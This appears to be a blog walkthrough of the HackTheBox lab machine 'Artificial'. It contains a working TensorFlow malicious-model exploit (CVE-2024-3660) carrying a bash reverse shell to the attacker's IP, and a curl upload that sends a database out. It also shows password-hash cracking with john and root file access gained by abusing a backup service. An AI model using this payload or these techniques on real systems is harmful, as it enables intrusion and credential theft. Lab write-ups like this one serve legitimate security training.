Artificial (HTB) - Walkthrough
> July 25, 2025
| HackTheBox
Overview
Exploiting TensorFlow Remote Code Execution with Malicious Model (CVE‑2024‑3660).
Enumeration
Nmap scan
# nmap -sSV -A -T4 -oN NmapScan 10.10.11.74
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 297.14 ms 10.10.16.1
2 239.29 ms artificial.htb (10.10.11.74)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 24 21:41:28 2025 -- 1 IP address (1 host up) scanned in 18.10 seconds
- So, didn’t find something useful so next to enumerate website.
-
After enumerating just found login, register webpage and so by following this. I register new login on /register webpage and after login webpage analyze content.
-
Found requirements.txt and Dockerfile files so i downloaded and read files.
> cat requirements.txt
tensorflow-cpu==2.13.1
> cat Dockerfile
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38 manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
- After researching I found tensorflow RCE vulnerability (CVE‑2024‑3660).
- So by utilizing this CVE we can exploit webapp.
Exploitation
- First step would be creating docker environment because for RCE there should be using same library version.
# in Dockerfile just add nano on installation path
> apt-get install -y curl nano && \
- Creating docker image:
> docker build -t exploit .
- Now crafting payload so we can get reverse shell.
python exploit.py
# exploit code
import tensorflow as tf
def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.75/4444 0>&1'")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
- Now, run docker image and preparing for exploit.py payload:
# run docker container
> docker run -it exploit
# now copy exploit.py code and paste in this image and execute it
> python exploit.py
# it should create exploit.h5 payload
# now download this exploit from docker image container to local machine via simple python http server.
We have final payload and now just fireup ncat revshell and upload exploit.h5 to webapp.
- Fireup ncat:
> rlwrap ncat -nvlp 4444
- Upload exploit.h5 payload:
- By clicking on ‘View Predictions’ we can finally get reverse shell.
Yep, we got internal access.. now time for Post-Exploitation
Post-Exploitation
- Currently we have user
app
access so we have limited permission so we need to enumerate for higher user access.
[+] Local enumeration
- Found there is user gael but we don’t have permission to view its content.
app@artificial:~/app$ whoami
whoami
app
app@artificial:~/app$ ls /home/
ls /home/
app
config
data
gael
index
keys
locks
snapshots
app@artificial:~/app$ ls -la /home/gael/
ls -la /home/gael/
ls: cannot open directory '/home/gael/': Permission denied
app@artificial:~/app$
-
I noticed in
~/app/instance
dir there isusers.db
file so i downloaded it. For data exfiltration i am using raven tool which is fine and easy to use without breaking shell. - On host machine:
# just type raven ## make sure tool is installed via apt. > raven [*] Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) [*] Listener access is unrestricted [*] Uploads will be saved in /home/kaulik/Documents/WalkThroughs/Hackthebox/Artificial # you can use other popular techniques like python -m http.server and else..
- On compromise host:
curl -X POST http://10.10.16.75:8080/ -F "file=@users.db;type=application/octet-stream" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 25002 0 226 100 24776 142 15661 0:00:01 0:00:01 --:--:-- 15804 <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="refresh" content="3;url=/" charset="utf-8"> <title>Redirecting...</title> </head> <body> <p>File uploaded successfully. Redirecting in 3 seconds...</p> </body> </html>
- Now time to analyze users.db:
> file users.db
users.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 55, database pages 6, cookie 0x2, schema 4, UTF-8, version-valid-for 55
- So its sqlite database so I am using sqlitebrowser for easy use.
-
sqlitebrowser users.db
- Now navigate Browse data > select table to ‘user’ and got user and hash.
- Now we have user and hash so next step would be cracking.
Cracking hash
- Identify hash:
> hash-identifier c99175974b6e192936d97224638a34f8 Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
- Going with MD5 with john:
> john gaelhash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=12 Press 'q' or Ctrl-C to abort, almost any other key for status mattp005numbertwo (?) 1g 0:00:00:00 DONE (2025-07-25 23:34) 2.564g/s 14670Kp/s 14670Kc/s 14670KC/s mattpapa..mattlvsbree Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
Cracked password
- User: gael
- Password: mattp005numbertwo
[+] Getting SSH access and again starting user enumeration
> ssh gael@10.10.11.74
>
gael@artificial:~$ whoami
gael
gael@artificial:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
- Got user.txt flag now time for root.txt
[*] Privilege Escalation
Enumeration
gael@artificial:~$ netstat -puntl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9898 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
- There is server running on port 9898 and 5000 so its time to pivoting. So server is running on localhost so need to do pivot for localhost.
- I am using sshuttle tool:
sshuttle -r gael@10.10.11.74 127.0.0.1/8 ─╯
[local sudo] Password:
gael@10.10.11.74's password:
c : Connected to server.
- Now we can access compromise machine’s servers via our localhost so head down to http://localhost:9898/
- After analyze server is running backrest service which is backup utility…
- Now I try default creds but not worked so again move forward to enumeration process.
- So checked /opt dir and there is where backrest is installed with config files but current user has not permission to read so again i level up enumeration and found backup dir in /var/backups with backrest_backup.tar.gz.
gael@artificial:~$ cat config
cat: config: No such file or directory
gael@artificial:~$
gael@artificial:~$ cat /opt/config
cat: /opt/config: Permission denied
gael@artificial:~$ ls /var/backups
apt.extended_states.0 apt.extended_states.2.gz apt.extended_states.4.gz apt.extended_states.6.gz
apt.extended_states.1.gz apt.extended_states.3.gz apt.extended_states.5.gz backrest_backup.tar.gz
- Download backrest backup file and unzip it to analyze content.
# on compromise machine (victim)
> python3 -m http.server 8080
# on host
> wget http://10.10.11.74:8080/backrest_backup.tar.gz
# unzip it
> tar -xf backrest_backup.tar.gz
# there is config file in .config dir
> cd /backrest/.config/backrest
> cat config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
- Now again hash so need to crack it.
- Its base64 encoded so first decode it and then crack that hash.
> echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d | tee -a backrest_root_hash.txt
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
# hash cracking
> john --wordlist=/usr/share/wordlists/rockyou.txt backrest_root_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (?)
1g 0:00:00:15 DONE (2025-07-26 00:14) 0.06653g/s 359.2p/s 359.2c/s 359.2C/s techno..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
- Now we have backrest user:pass -
backrest_root:!@#$%^
Getting root.txt
- Login with cracked credentials.
- Add repo with your choice of password and click submit.
-
Here i made repo1 with pass 12345.
-
Next step would be backing up /root because backrest is running as root so it is capable of backing up root.
- Go to repo 1 > run command:
# first make snapshot (backup) of /root
run command : backup /root
- Copy snapshot id and now execute next command to capture root flag.
dump 304acc04 /root/root.txt # paste your id or latest
Got root flag! Enjoy..
tools used
- nmap
- ncat
- python
- docker
- tensorflow
Resources
- https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model
- https://github.com/Splinter0/tensorflow-rce